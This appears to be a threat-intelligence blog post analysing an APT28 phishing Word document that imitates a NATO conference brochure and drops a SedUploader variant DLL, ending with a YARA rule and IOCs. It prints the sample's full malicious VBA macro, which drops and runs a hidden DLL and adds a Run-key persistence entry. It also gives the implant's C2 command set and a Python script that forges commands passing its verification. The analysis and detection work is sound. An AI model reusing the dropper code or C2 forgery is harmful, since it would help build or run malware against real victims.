Skip to main content

Phishing Document That Targets NATO by APT28

· 10 min read
Mert Degirmenci

The tag "Late Night Show" because, the attack origins at the end of 2018 and apparently the Show is very late.

Introduction

APT28

The group, also known as FancyBear, Sofacy Group, Sednit..., starts its activity in the mid-2000s. They target government, military and security organizations especially NATO-aligned states.

APT28 is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election.

The analyzed sample's second stage, a DLL file, has a high code reusing ratio with the other known attacks by APT28. After detail analysis, I can say that the sample is a variation of SedUploader malware.

Code reusing output by Intezer

This variant initially uses beatguitar[.]com domain as C2 server. But, the DLL file has the capability to update C2 server. Whois information of the initial C2 server is:

Whois


The Attack Vector

Stage1: Phishing Document

The attack begins with a phishing document that mimics the brochure of the NATO STO (Science And Technology Organization) conference that organized in December 2018.

Malicious document's content

At the background, there is a VBA script that waits for permission in order to start its malicious activities. This script triggers with "AutoOpen" function.

Private Sub Execute()
Dim Path As String
Dim FileNum As Long
Dim xml() As Byte
Dim bin() As Byte
Const HIDDEN_WINDOW = 12
strComputer = "."

xml = ActiveDocument.WordOpenXML
Set xmlParser = CreateObject("Msxml2.DOMDocument")
If Not xmlParser.LoadXML(xml) Then
Exit Sub
End If
Set currNode = xmlParser.DocumentElement
Set selected = currNode.SelectNodes("//HLinks" & "/vt:" & "vector" & "/vt:" & "variant" & "/vt:" & "lpwstr")
If 2 > selected.Length Then
Exit Sub
End If
base64 = selected(1).Text
bin = DecodeBase64(base64)

Set CheckFile = CreateObject("Scripting.FileSystemObject")

Path = Environ("APPDATA") + "\" + "Uplist" + ".dat"
If Not (CheckFile.FileExists(Path)) Then
FileNum = FreeFile
Open Path For Binary Access Write As #FileNum
Put #FileNum, 1, bin
Close #FileNum
SetAttr Path, vbHidden
End If

PathARun = Environ("ALLUSERSPROFILE") + "\" + "UpdaterUI" + ".dll"
If Not (CheckFile.FileExists(PathARun)) Then
FileNumAr = FreeFile
Open PathARun For Binary Access Write As FileNumAr
Put FileNumAr, 1, bin
Close FileNumAr
SetAttr PathARun, vbHidden
End If

Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "run" + "dll" + "32" + ".exe " + Chr(34) + Path + Chr(34) + ", " + "#1", Null, objConfig, intProcessID

cmdLineARun = "C:\W$in" + "do$ws\Sy$st" + "em$32\" + "run" + "$$$$" + "d$ll" + "32" + "$" + ".e$xe " + Chr(34) + PathARun + "$$" + Chr(34) + ", " + "#1"
Set WShell = CreateObject("WScript.Shell")
WShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UIMgr", Replace(cmdLineARun, "$", ""), "REG_SZ"

End Sub

The first action it takes is to extract the value of "HLinks" key inside XML Node of the document. The value which is Base64 string can be seen in the Exif Data.

HLinks value

When the string is decoded, it appears that it is structured as a PE executable.

The decoded data

The file utility verifies and identifies it as PE32 executable (DLL).

The output of file utility

Then it creates 2 files:

  • %ALLUSERSPROFILE%/UpdaterUI.dll,
  • %APPDATA%/Uplist.dat.

With using WMI, "Uplist.dat" file at %APPDATA% folder is executed by rundll32 utility and the starting point of execution is Ordinal 1.

The last thing it does is to guarantee persistence on the machine, creates a registry key under "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" path with the name "UIMgr" as:

"rundll32.exe %ALLUSERSPROFILE%/UpdaterUI.dll,#1".

At this point, it is clear that the purpose of the malicious document is to trigger the second stage of the attack vector, the DLL file that extracted within it.


Stage2: Extracted DLL File

Basic Concepts

DLL file contains lots of encrypted strings. When one of those strings is needed, it is decrypted dynamically. Decryption function is resides at 0x10002f3f and the encryption type is XOR.

Decryption function

The function takes encrypted string and the length as an argument. Then bytes of the string and hard-coded XOR key, XORed with each other one by one. Python implementation of the function is as follows:

#!/usr/bin/python
import sys
import binascii
import struct

array = []
# Hard coded XOR key
xorKey = [0x2d, 0x30, 0x71, 0x1b, 0x07, 0x0f, 0x43, 0x2d, 0x56, 0x2a]

# Sample encryptted string
encryptedStr = [
0x5c,0x7f,0x45,0x7d,0x52,0x3b,0x07,0x4b,0x1b,0x7a,0x6f,
0x44,0x3d,0x6e,0x6e,0x64,0x16,0x49,0x62,0x49,0x60,0x04,
0x0b,0x4d,0x50,0x7a]

encryptedStr_len = 26

for i in range(encryptedStr_len):
array.append(encryptedStr[i] ^ xorKey[i % 10])

decryptedStr = binascii.hexlify(bytearray(array)).decode('hex')

print decryptedStr

Decryption function is called continuously for Mutex name, API calls, C2 addresses vs.

DLL uses a 35 bytes data structure very often while performing its activities. The data structure contains both required parameters and configuration values.

Whois dataStruct Data structure's layout

The 8th byte of the corresponding structure is for default C2 address. The 14th byte is for driver's Volume Serial Number. This number is calculated when the file system is created. The DLL uses this information while communicating with C2 server and sends it as 'id' parameter. Because of that, I believe VSN is used for identification purposes for various infected machines.

Whois vsn Volume Serial Number of the lab machine

Communication with C2 server and the DLL file is based on HTTP. The file composes a string depending on the goal, XORs and Base64 encodes. Afterward, it sends encoded data to C2 server with HTTP POST request.

The string always follows a special pattern like starts with 'id=VSN&' and additional parameters comes to the end. An example of the pattern can be seen:

Whois commandPattern The string pattern sample

C2 server returns commands to live malware. But it is firstly be subject to a verification routine. The sequence is as:

  • Base64 decodes,
  • Decoded data's first 4 bytes are XORed with hard-coded value 0xaa7d756 and the result is stored to use it as XOR key for the rest of the routine,
  • Decoded data apart of first 4 bytes is XORed,
  • Separates first 2 bytes of the XORed data,
  • Calculates 2 bytes checksum value of the XORed data apart of the first 2 bytes,
  • Checks separated 2 bytes with calculated checksum, equivalence means verification.

With respect to the algorithm, I have written a Python script that produces data which can pass these verification process. So, I could continue my analysis in the intended way.

#!/usr/bin/python
import sys
import binascii

array = []
xoredArray = []

# Hard coded XOR key
xorKey = ['0x56', '0xd7', 'a7', '0a']

# Sample data
data = '''[settings]
127.0.0.1
[/settings]'''

for i in range(len(data)):
array.append(int(data[i].encode('hex'), 16))

for i in range(len(array) + 2):
if i < 2:
xoredArray.append(int('0x00', 16))
else:
xoredArray.append(array[i - 2] ^ int(xorKey[i % 4], 16))

# Checksum calculation
ax = int('0x0000', 16)
cx = int('0x0000', 16)
al = int('0x00', 16)
bl = int('0x00', 16)
checksum = int('0x0000', 16)

for i in range(len(array)):
bl = array[i]
for j in range(8):
al = bl
al = al ^ (checksum & 0x00ff)
if(al & 1 == 1):
ax = int('0x2042', 16)
ax = ax ^ cx
ax = ax >> 1
checksum = ax
cx = ax
else:
cx = cx >> 1
checksum = cx
bl = bl >> 1

lb = checksum & int('0x00ff', 16)
hb = checksum >> 8

xoredArray[0] = lb ^ int(xorKey[0 % 4], 16)
xoredArray[1] = hb ^ int(xorKey[1 % 4], 16)

# Set first 4 bytes to 0x00
# These bytes XORed with hard coded bytes
# Because a ^ 0x00 = a
# I can be sure that the XOR key
# is going to be hard coded key without any changes
xoredArray.insert(0, int('0x00', 16))
xoredArray.insert(0, int('0x00', 16))
xoredArray.insert(0, int('0x00', 16))
xoredArray.insert(0, int('0x00', 16))

# At this point
# _ _ _ _ | _ _ | _ _ ...
# 4 bytes for XOR key 2 bytes for checksum Actual data
#
xoredArrayEncoded = binascii.b2a_base64(bytearray(xoredArray))
print xoredArrayEncoded

The Flow

The execution of the DLL file starts from ordinal 1 of the export table.

Export table

At that function, it creates a thread that starts execution from 0x10002ca4. The thread is responsible for all the other actions.

First of all, it creates a Mutex object on the system and its name is 'qO4fU4DfMPBtLuikUd4cM4zVWu'. Then it enters a preparation block of the 35 bytes long data structure. Gets the hostname, and starts Winsock DLL. Any occurrence of an error, it sleeps for 10000 milliseconds and tries the same steps again.

Next one is connection test and for this purpose, it tries to connect google.com. It has 2 capabilities in order to connect the internet: WININET Library and Firefox code injection. It decides which capability is going to use during the connection test and updates configuration byte in the data structure.

In the first place, it makes HTTP request to google.com with WININET Library and expects returned status code like 200 or 404. According to the result, it searches Firefox information on the system. If it finds Firefox process on the system, with using NTDLL Library, it injects code to the process, and try to create a thread within it. When the connection is successful with this way, it updates 20th byte as 1 in the data structure. If it fails, sleeps 10000 milliseconds and the connection test reruns again.

Later successful internet connection, it starts to collect various system information like processes, network adapter information, disk information and Base64 encoded of the screenshot of that moment. Collected information is prepared in order to send to C2 server. The connection data starts with VSN and after that 'w' character is used for collected information. The end result is encoded with Base64 and send to C2 server.

Enumeration string

As can be seen, system information has a 'build' variable. The value of this key is hard-coded inside DLL. Because of that reason, I believe it might be some kind of version indicator.

If the connection is failed, it sleeps and tries again to send the data to C2 server.

After this step, the DLL file enters a loop and it takes actions repeatedly. At the beginning of the loop, it gets hostname and checks the internet connection. If it fails, it sleeps 10000 milliseconds. Then it waits for command from C2 server.

When a command comes and it passes verification, the DLL replaces '\n' and '\r' characters on that with '\0' character. Thus, command data becomes one line and ready to parse.

For parser, it uses a new data structure and reflects extracted values to that structured accordingly. It searches for keywords:

  • [file]
  • Execute
  • Delete
  • LoadLib
  • ReadFile
  • [/file]
  • [settings]
  • [/settings]
  • [shell]
  • [/shell]

Occurrence of '[file]', '[settings]', '[shell]' keywords, it creates sub data structures. For 'Execute', 'Delete', 'LoadLib', 'ReadFile' commands, it updates corresponding configuration bytes in data structure. '[/file]', '[/settings]' and '[/shell]' keywords means it is the end of parsing process.

Any non-matched values go to another parser function. This function searches:

  • FileName
  • PathToSave
  • Rundll
  • IP
  • shell

keywords.

Parser data structure

It begins to take actions after a successful parsing process. The paths to follows are differentiated according to extracted data. The action routine is as follows:

  • Existence of 'IP' information: The value of 'IP' key is encoded with Base64 and stored under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Servers' path with the name 'Domain'. The DLL checks this registry value and in case of occurrence, it chooses that value as C2 address.

Domain registry

Additionally, it updates default C2 address inside 35 bytes long data structure with that value. After this point, for all C2 communication, the new address is used. When C2 address updated, the DLL enumerates the system(processes, network adapter information, etc.) again and sends it the same way. At the end, it makes a POST request to new C2 server with the same pattern and 'c=2'.

If 'IP' key does not exist, this means '[settings]' data structure does not exist. Therefore the control pass to '[file]' data structure

  • Existence of 'ReadFile' information inside '[file]' data structure: The requested file is read and send to C2 server with the same pattern and '?='.
  • Existence of 'Filename' information inside '[file]' data structure: The file name is send to C2 server as 'f=filename'. The response of this request is most probably the content of the file. Then, using 'PathToSave' value, it creates a folder and inside that folder, it creates a file with value of 'Filename' key. The response data is written to that file. At this point, it looks 3 configuration bytes in extracted data. First one is 'Execute' byte, and this means to execute the created file. Second on is 'Rundll' byte, this means to execute the created file with rundll32.exe. The last one is 'LoadLib' byte and this means to load the created file as a library. At the end of these controls, it checks 'Delete' byte and according to its value, it deletes the file.
  • Existence of '[shell]' data structure: This data structure stores address of the shellcode that comes from C2 server. It creates a thread at that point of the memory.

actions-1

As I said, these routine runs in a loop continuously.


YARA

rule SedUploader {

meta:
author = "Mert Degirmenci"
description = "APT28 SedUploader variant"
date = "15.04.2019"
hash1 = "b20aab629ea7fa73b98be9f3df1568c0a3b37480"

strings:
// google.com
$s_domain1 = { 4a 5f 1e 7c 6b 6a 6d 4e 39 47 2d 30 71 1b 07 0f 43 2d 56 2a 2d 30 71 1b 07 0f 43 2d 56 2a 2d 30 71 1b 07 0f 43 2d 56 2a 2d 30 71 1b }

// beatguitar.com
$s_domain2 = { 4f 55 10 6f 60 7a 2a 59 37 58 03 53 1e 76 07 0f 43 2d 56 2a 2d 30 71 1b 07 0f 43 2d 56 2a 2d 30 71 1b 07 0f 43 2d 56 2a 2d 30 71 1b }

// qO4fU4DfMPBtLuikUd4cM4zVWu
$s_mutex = { 5c 7f 45 7d 52 3b 07 4b 1b 7a 6f 44 3d 6e 6e 64 16 49 62 49 60 04 0b 4d 50 7a }

// 0x10002f63 8d0c30 lea ecx, [eax + esi]
// 0x10002f66 c745fc0a0000. mov dword [local_4h], 0xa
// 0x10002f6d 33d2 xor edx, edx
// 0x10002f6f f775fc div dword [local_4h]
// 0x10002f72 8a82a8710010 mov al, byte [edx + str.0q_e]
// 0x10002f78 32040f xor al, byte [edi + ecx]
// 0x10002f7b 8801 mov byte [ecx], al
// 0x10002f7d 8b450c mov eax, dword [arg_ch]
// 0x10002f80 40 inc eax
// 0x10002f81 89450c mov dword [arg_ch], eax
// 0x10002f84 3bc3 cmp eax, ebx
// 0x10002f86 7cdb jl 0x10002f63
$s_xorRoutine = { 8d 0c 30 c7 45 fc 0a 00 00 00 33 d2 f7 75 fc 8a 82 a8 71 00 10 32 04 0f 88 01 8b 45 0c 40 89 45 0c 3b c3 7c db }

condition:
uint16(0) == 0x5a4d and all of them
}

IOCs

  • beatguitar[.]com
  • qO4fU4DfMPBtLuikUd4cM4zVWu
  • %ALLUSERSPROFILE%/UpdaterUI.dll
  • %APPDATA%/Uplist.dat
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\UIMgr
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Servers\Domain
  • 43d7ffd611932cf51d7150b176ecfc29
  • 549726b8bfb1919a343ac764d48fdc81

R2

f sus.copyToBuffer 0 0x100030df 
f sus.lengthAsByte 0 0x10002b99
f sus.internetReadFile_caller 0 0x10003621
f sus.createMutex 0 0x10002cfc
f sus.mainRoutine 0 0x10005b94
f sus.decrypterFunc 0 0x10002f3f
f sus.heapFree_un 0 0x10003f83
f sus.multiByteToWideChar_caller 0 0x1000369a
f sus.base64Decode 0 0x10002d4b
f sus.base64Encode 0 0x10002d8f
f sus.createProcessW_caller 0 0x10003274
f sus.setLastError_caller 0 0x100037ff
f sus.expandEnvironmentStringsW_caller 0 0x10003375
f sus.writeAlphaNum 0 0x10003dd3
f sus.obtainUserAgentString_caller 0 0x10003719
f sus.keyPressSimulator 0 0x10003863
f sus.openClipboard_caller 0 0x1000378f
f sus.getClipboardData_caller 0 0x100033dc
f sus.closeClipboard_caller 0 0x10003207
f sus.iStreamSize_caller 0 0x100035ae
f sus.iStreamReset_caller 0 0x1000353e
f sus.iStream_Read_caller 0 0x100034c8
f sus.writeAlphaNum_caller 0 0x10003dbe
f sus.url_pageBuilder 0 0x10004ecc
f sus.id_xor_base64 0 0x10002f91
f sus.processEnum 0 0x10004543
f sus.diskEnum 0 0x100045ea
f sus.screenShotFunc 0 0x10004686
f sus.uriBuilder_id_xxx 0 0x10005713
f sus.internetCloseHandle 0 0x10004889
f sus.internetCon 0 0x100048a9
f sus.getSizeOfContent 0 0x1000344c
f sus.googleConTest_caller 0 0x100053d0
f sus.googleConTest 0 0x10004d31
f sus.getVolumeInformation 0 0x10004665
f sus.obtainUserAgentString_caller2 0 0x100041cb
f sus.regServersEnum 0 0x100052c3
f sus.googleDecrypter 0 0x10005521
f sus.internetCon_caller 0 0x10005a80
f sus.hostNameEnum 0 0x100055a5
f sus.volume_UserAgent_Enum 0 0x10005493
f sus.connectionTest 0 0x100058e7
f sus.enumFunc 0 0x100049bf
f sus.sleep_caller 0 0x10005b7b
f sus.updateOrCreateDomainRegKey 0 0x1000599d
f sus.CCconn_Response 0 0x10004fc8
f sus.clean_____caller 0 0x10005fbd
f sus.clean 0 0x10006039
f sus.isIP_Received 0 0x1000607e
f sus.readFile_caller 0 0x10006501
f sus.ifFileExistTakeTheFileName 0 0x1000605f
f sus._ecx_assignToEax 0 0x10003bbd
f sus._file_Actions_caller 0 0x10006377
f sus._file_Actions 0 0x10003954
f sus.cleanTo_file 0 0x100038e3
f sus.shellCodeExecute 0 0x10006c19
f sus.freeShellCode 0 0x10006ba1
f sus.responseParser 0 0x100060d6
f sus._ecx__0 0 0x10006b8d
f sus.assign0ToArray 0 0x100038d0
f sus.commandParser 0 0x100063d9
f sus.__searcher 0 0x10003132
f sus.readFile 0 0x10003bc0
f sus.appdata_FirefoxEnum 0 0x10006725
f sus.xor_base64 219 0x10002f91
f sus.uriBuilder_id 212 0x10005713
f sus.dataStructInit 142 0x10005493

References